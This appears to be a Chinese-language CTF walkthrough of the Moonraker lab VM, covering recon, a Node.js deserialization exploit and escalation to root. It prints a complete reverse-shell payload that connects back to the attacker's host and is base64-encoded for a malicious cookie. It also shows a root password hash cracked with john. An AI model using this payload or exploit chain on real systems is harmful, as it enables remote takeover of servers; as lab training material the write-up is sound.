本文共 5844 字,大约阅读时间需要 19 分钟。
攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息。
1.获取目标ip地址,使用netdiscover或者arp-scan。
在3000端口发现Node.js Express framework框架应用。
Services Information Request
To provide "out of this world" service, a Sales rep will check your web-based inquiries in under 5 minutes!
为了提供“完美售后”的服务,销售代表将在5分钟内检查您基于网络的查询!
<img src="192.168.190.129/log.txt"></img>
root@kali:~# netstat -pantu | grep 80
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 595/rinetd
root@kali:~# pkill rinetd
root@kali:~# service apache2 start
root@kali:~# cd /var/www/html
root@kali:/var/www/html# ls
file.csproj flag.php index.nginx-debian.html wpscan_6666 wso.php xxe.php
root@kali:/var/www/html# echo "test" > log.txt
root@kali:/var/www/html# ls -la log.txt
-rw-r--r-- 1 root root 5 9月 24 11:50 log.txt
我们可以通过apache2 access.log可以查看到访问目标靶机网站日志记录。
192.168.190.136 - - [24/Sep/2019:11:54:51 -0400] "GET /log.txt HTTP/1.1" 200 287 "http://127.0.0.1/svc-inq/salesmoon-gui.php" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34"
我们可以从日志中发现http refefer地址:
打开CouchDB Notes在这个页面得到了关于用户的账号密码提示,这个对我们来说是很重要的。
password: 女朋友名字+x99的组合(我哪知道你女朋友是谁!!!)
搜索 Jaws' girlfriend,找到Jaws' Girlfriend :Dolly
现在已经获取到couchdb的用户名和密码,那么如何登陆呢
在HUGO中我们发现了一些线索,提示我们通过浏览器访问3000端口的服务,并且提供了用户名密码
Welcome Boss Your manifesto has been recorded here for reference: /accounting/hugo-manif.mp3
欢迎您的老板您的宣言已在此处录制供参考:/accounting/hugo-manif.mp3
进入hugo's page moved to port 3k页面,可以看到服务运行在3000端口,使用的NodeJS框架。
从前期信息收集知道3000端口跑的是Node.js框架,去搜索一下相关漏洞
发现Node.js框架存在一个反序列化漏洞,可以执行任意代码。
启动F12查看页面的请求信息。burp抓包在Cookie中看到了base64编码信息。
这里我们将以base64编码形式插入node.js来用其反序列化漏洞。
这个应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数.由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值从而来以利用此漏洞.
利用Node.js反序列化的漏洞执行远程代码参考:
使用msfvenom生成nodejs反弹shell
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.190.137 LPORT=1521
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, "192.168.190.137", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();
{"rce":"_$$ND_FUNC$$_function (){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? \"cmd\" : \"/bin/sh\"; var net = require(\"net\"), cp = require(\"child_process\"), util = require(\"util\"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, \"192.168.190.137\", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === \"undefined\") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(\"error\", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }()"}
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gXCJjbWRcIiA6IFwiL2Jpbi9zaFwiOyB2YXIgbmV0ID0gcmVxdWlyZShcIm5ldFwiKSwgY3AgPSByZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKSwgdXRpbCA9IHJlcXVpcmUoXCJ1dGlsXCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCgxNTIxLCBcIjE5Mi4xNjguMTkwLjEzN1wiLCBmdW5jdGlvbigpIHsgY2xpZW50LnNvY2tldC5waXBlKHNoLnN0ZGluKTsgaWYgKHR5cGVvZiB1dGlsLnB1bXAgPT09IFwidW5kZWZpbmVkXCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbihcImVycm9yXCIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSgpIn0=
通过bupsuit抓包进行拦截,将整个base64字符串设置为cookie中profile的值,替换完profile值后进行提交,在者之前需要设置您的nc侦听。
然后将nc的半shell转换为pty的交互shell
在/var/mail目录下存在邮件但是权限不足无法查看
在了解CouchDB的配置后,发现默认的安装目录为/opt/couchdb目录下,在配置文件中找到密码.
切换hugo用户,查看家目录未发现什么,想到之前拒绝访问的邮件
在/var/mail目录下查看hugo邮件内容,root用户信息泄露
the new one is the same + "VR00M" without quotes 并且提示在root密码后加上VR00M
root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/:17809:0:99999:7:::
将root密码hash保存到root.hash,使用john破解hash
root用户登录,获取到flag base64 解码 :was dolly wearing braces?
转载地址:http://hgqyz.baihongyu.com/